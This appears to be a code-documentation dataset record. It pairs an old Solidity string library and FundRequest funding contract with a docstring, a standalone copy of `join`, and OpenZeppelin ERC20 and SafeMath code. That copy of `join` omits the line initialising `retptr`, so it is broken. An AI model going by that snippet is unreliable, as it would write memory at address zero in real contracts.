equal := eq(keccak256(selfptr, length), keccak256(needleptr, length))
}
}
if (equal) {
self._len -= needle._len;
}
return self;
}
// Returns the memory address of the first byte of the first occurrence of
// `needle` in `self`, or the first byte after `self` if not found.
function findPtr(uint selflen, uint selfptr, uint needlelen, uint needleptr) private returns (uint) {
uint ptr;
uint idx;
if (needlelen <= selflen) {
if (needlelen <= 32) {
// Optimized assembly for 68 gas per byte on short strings
assembly {
let mask := not(sub(exp(2, mul(8, sub(32, needlelen))), 1))
let needledata := and(mload(needleptr), mask)
let end := add(selfptr, sub(selflen, needlelen))
ptr := selfptr
loop :
jumpi(exit, eq(and(mload(ptr), mask), needledata))
ptr := add(ptr, 1)
jumpi(loop, lt(sub(ptr, 1), end))
ptr := add(selfptr, selflen)
exit :
}
return ptr;
}
else {
// For long needles, use hashing
bytes32 hash;
assembly {hash := sha3(needleptr, needlelen)}
ptr = selfptr;
for (idx = 0; idx <= selflen - needlelen; idx++) {
bytes32 testHash;
assembly {testHash := sha3(ptr, needlelen)}
if (hash == testHash)
return ptr;
ptr += 1;
}
}
}
return selfptr + selflen;
}
// Returns the memory address of the first byte after the last occurrence of
// `needle` in `self`, or the address of `self` if not found.
function rfindPtr(uint selflen, uint selfptr, uint needlelen, uint needleptr) private returns (uint) {
uint ptr;
if (needlelen <= selflen) {
if (needlelen <= 32) {
// Optimized assembly for 69 gas per byte on short strings
assembly {
let mask := not(sub(exp(2, mul(8, sub(32, needlelen))), 1))
let needledata := and(mload(needleptr), mask)
ptr := add(selfptr, sub(selflen, needlelen))
loop :
jumpi(ret, eq(and(mload(ptr), mask), needledata))
ptr := sub(ptr, 1)
jumpi(loop, gt(add(ptr, 1), selfptr))
ptr := selfptr
jump(exit)
ret :
ptr := add(ptr, needlelen)
exit :
}
return ptr;
}
else {
// For long needles, use hashing
bytes32 hash;
assembly {hash := sha3(needleptr, needlelen)}
ptr = selfptr + (selflen - needlelen);
while (ptr >= selfptr) {
bytes32 testHash;
assembly {testHash := sha3(ptr, needlelen)}
if (hash == testHash)
return ptr + needlelen;
ptr -= 1;
}
}
}
return selfptr;
}
/*
* @dev Modifies `self` to contain everything from the first occurrence of
* `needle` to the end of the slice. `self` is set to the empty slice
* if `needle` is not found.
* @param self The slice to search and modify.
* @param needle The text to search for.
* @return `self`.
*/
function find(slice self, slice needle) internal returns (slice) {
uint ptr = findPtr(self._len, self._ptr, needle._len, needle._ptr);
self._len -= ptr - self._ptr;
self._ptr = ptr;
return self;
}
/*
* @dev Modifies `self` to contain the part of the string from the start of
* `self` to the end of the first occurrence of `needle`. If `needle`
* is not found, `self` is set to the empty slice.
* @param self The slice to search and modify.
* @param needle The text to search for.
* @return `self`.
*/
function rfind(slice self, slice needle) internal returns (slice) {
uint ptr = rfindPtr(self._len, self._ptr, needle._len, needle._ptr);
self._len = ptr - self._ptr;
return self;
}
/*
* @dev Splits the slice, setting `self` to everything after the first
* occurrence of `needle`, and `token` to everything before it. If
* `needle` does not occur in `self`, `self` is set to the empty slice,
* and `token` is set to the entirety of `self`.
* @param self The slice to split.
* @param needle The text to search for in `self`.
* @param token An output parameter to which the first token is written.
* @return `token`.
*/
function split(slice self, slice needle, slice token) internal returns (slice) {
uint ptr = findPtr(self._len, self._ptr, needle._len, needle._ptr);
token._ptr = self._ptr;
token._len = ptr - self._ptr;
if (ptr == self._ptr + self._len) {
// Not found
self._len = 0;
}
else {
self._len -= token._len + needle._len;
self._ptr = ptr + needle._len;
}
return token;
}
/*
* @dev Splits the slice, setting `self` to everything after the first
* occurrence of `needle`, and returning everything before it. If
* `needle` does not occur in `self`, `self` is set to the empty slice,
* and the entirety of `self` is returned.
* @param self The slice to split.
* @param needle The text to search for in `self`.
* @return The part of `self` up to the first occurrence of `delim`.
*/
function split(slice self, slice needle) internal returns (slice token) {
split(self, needle, token);
}
/*
* @dev Splits the slice, setting `self` to everything before the last
* occurrence of `needle`, and `token` to everything after it. If
* `needle` does not occur in `self`, `self` is set to the empty slice,
* and `token` is set to the entirety of `self`.
* @param self The slice to split.
* @param needle The text to search for in `self`.
* @param token An output parameter to which the first token is written.
* @return `token`.
*/
function rsplit(slice self, slice needle, slice token) internal returns (slice) {
uint ptr = rfindPtr(self._len, self._ptr, needle._len, needle._ptr);
token._ptr = ptr;
token._len = self._len - (ptr - self._ptr);
if (ptr == self._ptr) {
// Not found
self._len = 0;
}
else {
self._len -= token._len + needle._len;
}
return token;
}
/*
* @dev Splits the slice, setting `self` to everything before the last
* occurrence of `needle`, and returning everything after it. If
* `needle` does not occur in `self`, `self` is set to the empty slice,
* and the entirety of `self` is returned.
* @param self The slice to split.
* @param needle The text to search for in `self`.
* @return The part of `self` after the last occurrence of `delim`.
*/
function rsplit(slice self, slice needle) internal returns (slice token) {
rsplit(self, needle, token);
}
/*
* @dev Counts the number of nonoverlapping occurrences of `needle` in `self`.
* @param self The slice to search.
* @param needle The text to search for in `self`.
* @return The number of occurrences of `needle` found in `self`.
*/
function count(slice self, slice needle) internal returns (uint cnt) {
uint ptr = findPtr(self._len, self._ptr, needle._len, needle._ptr) + needle._len;
while (ptr <= self._ptr + self._len) {
cnt++;
ptr = findPtr(self._len - (ptr - self._ptr), ptr, needle._len, needle._ptr) + needle._len;
}
}
/*
* @dev Returns True if `self` contains `needle`.
* @param self The slice to search.
* @param needle The text to search for in `self`.
* @return True if `needle` is found in `self`, false otherwise.
*/
function contains(slice self, slice needle) internal returns (bool) {
return rfindPtr(self._len, self._ptr, needle._len, needle._ptr) != self._ptr;
}
/*
* @dev Returns a newly allocated string containing the concatenation of
* `self` and `other`.
* @param self The first slice to concatenate.
* @param other The second slice to concatenate.
* @return The concatenation of the two strings.
*/
function concat(slice self, slice other) internal returns (string) {
var ret = new string(self._len + other._len);
uint retptr;
assembly {retptr := add(ret, 32)}
memcpy(retptr, self._ptr, self._len);
memcpy(retptr + self._len, other._ptr, other._len);
return ret;
}
function strConcat(string _a, string _b, string _c, string _d, string _e) internal pure returns (string){
bytes memory _ba = bytes(_a);
bytes memory _bb = bytes(_b);
bytes memory _bc = bytes(_c);
bytes memory _bd = bytes(_d);
bytes memory _be = bytes(_e);
string memory abcde = new string(_ba.length + _bb.length + _bc.length + _bd.length + _be.length);
bytes memory babcde = bytes(abcde);
uint k = 0;
for (uint i = 0; i < _ba.length; i++) babcde[k++] = _ba[i];
for (i = 0; i < _bb.length; i++) babcde[k++] = _bb[i];
for (i = 0; i < _bc.length; i++) babcde[k++] = _bc[i];
for (i = 0; i < _bd.length; i++) babcde[k++] = _bd[i];
for (i = 0; i < _be.length; i++) babcde[k++] = _be[i];
return string(babcde);
}
function strConcat(string _a, string _b, string _c, string _d) internal pure returns (string) {
return strConcat(_a, _b, _c, _d, "");
}
function strConcat(string _a, string _b, string _c) internal pure returns (string) {
return strConcat(_a, _b, _c, "", "");
}
function strConcat(string _a, string _b) internal pure returns (string) {
return strConcat(_a, _b, "", "", "");
}
/*
* @dev Joins an array of slices, using `self` as a delimiter, returning a
* newly allocated string.
* @param self The delimiter to use.
* @param parts A list of slices to join.
* @return A newly allocated string containing all the slices in `parts`,
* joined with `self`.
*/
function join(slice self, slice[] parts) internal returns (string) {
if (parts.length == 0)
return "";
uint length = self._len * (parts.length - 1);
for (uint i = 0; i < parts.length; i++)
length += parts[i]._len;
var ret = new string(length);
uint retptr;
assembly {retptr := add(ret, 32)}
for (i = 0; i < parts.length; i++) {
memcpy(retptr, parts[i]._ptr, parts[i]._len);
retptr += parts[i]._len;
if (i < parts.length - 1) {
memcpy(retptr, self._ptr, self._len);
retptr += self._len;
}
}
return ret;
}
/*
* Additions by the FundRequest Team
*/
function toBytes32(slice self) internal returns (bytes32 result) {
string memory source = toString(self);
bytes memory tempEmptyStringTest = bytes(source);
if (tempEmptyStringTest.length == 0) {
return 0x0;
}
assembly {
result := mload(add(source, 32))
}
}
function addressToString(address x) internal pure returns (string) {
bytes memory s = new bytes(40);
for (uint i = 0; i < 20; i++) {
byte b = byte(uint8(uint(x) / (2 ** (8 * (19 - i)))));
byte hi = byte(uint8(b) / 16);
byte lo = byte(uint8(b) - 16 * uint8(hi));
s[2 * i] = charToByte(hi);
s[2 * i + 1] = charToByte(lo);
}
return strConcat("0x", string(s));
}
function charToByte(byte b) internal pure returns (byte c) {
if (b < 10) return byte(uint8(b) + 0x30);
else return byte(uint8(b) + 0x57);
}
function bytes32ToString(bytes32 x) internal pure returns (string) {
bytes memory bytesString = new bytes(32);
uint charCount = 0;
for (uint j = 0; j < 32; j++) {
byte ch = byte(bytes32(uint(x) * 2 ** (8 * j)));
if (ch != 0) {
bytesString[charCount] = ch;
charCount++;
}
}
bytes memory bytesStringTrimmed = new bytes(charCount);
for (j = 0; j < charCount; j++) {
bytesStringTrimmed[j] = bytesString[j];
}
return string(bytesStringTrimmed);
}
}
/*
* Main FundRequest Contract
* Davy Van Roy
* Quinten De Swaef
*/
contract FundRequestContract is Owned, ApproveAndCallFallBack {
using SafeMath for uint256;
using strings for *;
event Funded(address indexed from, bytes32 platform, string platformId, uint256 value);
event Claimed(address indexed solverAddress, bytes32 platform, string platformId, string solver, uint256 value);
FundRequestToken public token;
//repositories
FundRepository public fundRepository;
ClaimRepository public claimRepository;
address public claimSignerAddress;
modifier addressNotNull(address target) {
require(target != address(0));
_;
}
function FundRequestContract(
address _tokenAddress,
address _fundRepository,
address _claimRepository
) public {
setTokenAddress(_tokenAddress);
setFundRepository(_fundRepository);
setClaimRepository(_claimRepository);
}
//entrypoints
function fund(bytes32 _platform, string _platformId, uint256 _value) public returns (bool success) {
require(doFunding(_platform, _platformId, _value, msg.sender));
return true;
}
function receiveApproval(address _from, uint _amount, address _token, bytes _data) public {
require(_token == address(token));
var sliced = string(_data).toSlice();
var platform = sliced.split("|AAC|".toSlice());
var platformId = sliced.split("|AAC|".toSlice());
require(doFunding(platform.toBytes32(), platformId.toString(), _amount, _from));
}
function doFunding(bytes32 _platform, string _platformId, uint256 _value, address _funder) internal returns (bool success){
require(_value > 0);
require(token.transferFrom(_funder, address(this), _value));
fundRepository.updateFunders(_funder, _platform, _platformId, _value);
fundRepository.updateBalances(_funder, _platform, _platformId, _value);
Funded(_funder, _platform, _platformId, _value);
return true;
}
function claim(bytes32 platform, string platformId, string solver, address solverAddress, bytes32 r, bytes32 s, uint8 v) public returns (bool) {
require(validClaim(platform, platformId, solver, solverAddress, r, s, v));
uint requestBalance = fundRepository.resolveFund(platform, platformId);
require(token.transfer(solverAddress, requestBalance));
require(claimRepository.addClaim(solverAddress, platform, platformId, solver, requestBalance));
Claimed(solverAddress, platform, platformId, solver, requestBalance);
return true;
}
function validClaim(bytes32 platform, string platformId, string solver, address solverAddress, bytes32 r, bytes32 s, uint8 v) internal view returns (bool) {
var h = sha3(createClaimMsg(platform, platformId, solver, solverAddress));
address signerAddress = ecrecover(h, v, r, s);
return claimSignerAddress == signerAddress;
}
function createClaimMsg(bytes32 platform, string platformId, string solver, address solverAddress) internal pure returns (string) {
return strings.bytes32ToString(platform)
.strConcat(prependUnderscore(platformId))
.strConcat(prependUnderscore(solver))
.strConcat(prependUnderscore(strings.addressToString(solverAddress)));
}
function prependUnderscore(string str) internal pure returns (string) {
return "_".strConcat(str);
}
function setFundRepository(address _repositoryAddress) public onlyOwner {
fundRepository = FundRepository(_repositoryAddress);
}
function setClaimRepository(address _claimRepository) public onlyOwner {
claimRepository = ClaimRepository(_claimRepository);
}
function setTokenAddress(address _tokenAddress) addressNotNull(_tokenAddress) public onlyOwner {
token = FundRequestToken(_tokenAddress);
assert(token.isFundRequestToken());
}
function setClaimSignerAddress(address _claimSignerAddress) addressNotNull(_claimSignerAddress) public onlyOwner {
claimSignerAddress = _claimSignerAddress;
}
}
|
Joins an array of slices, using `self` as a delimiter, returning a newly allocated string. self The delimiter to use. parts A list of slices to join. return A newly allocated string containing all the slices in `parts`, joined with `self`./
|
function join(slice self, slice[] parts) internal returns (string) {
if (parts.length == 0)
return "";
uint length = self._len * (parts.length - 1);
for (uint i = 0; i < parts.length; i++)
length += parts[i]._len;
var ret = new string(length);
uint retptr;
for (i = 0; i < parts.length; i++) {
memcpy(retptr, parts[i]._ptr, parts[i]._len);
retptr += parts[i]._len;
if (i < parts.length - 1) {
memcpy(retptr, self._ptr, self._len);
retptr += self._len;
}
}
return ret;
}
| 12,977,703
|
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "../../GSN/Context.sol";
import "./IERC20.sol";
import "../../math/SafeMath.sol";
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name_, string memory symbol_) public {
_name = name_;
_symbol = symbol_;
_decimals = 18;
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "./IERC20.sol";
import "../../math/SafeMath.sol";
import "../../utils/Address.sol";
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.2 <0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
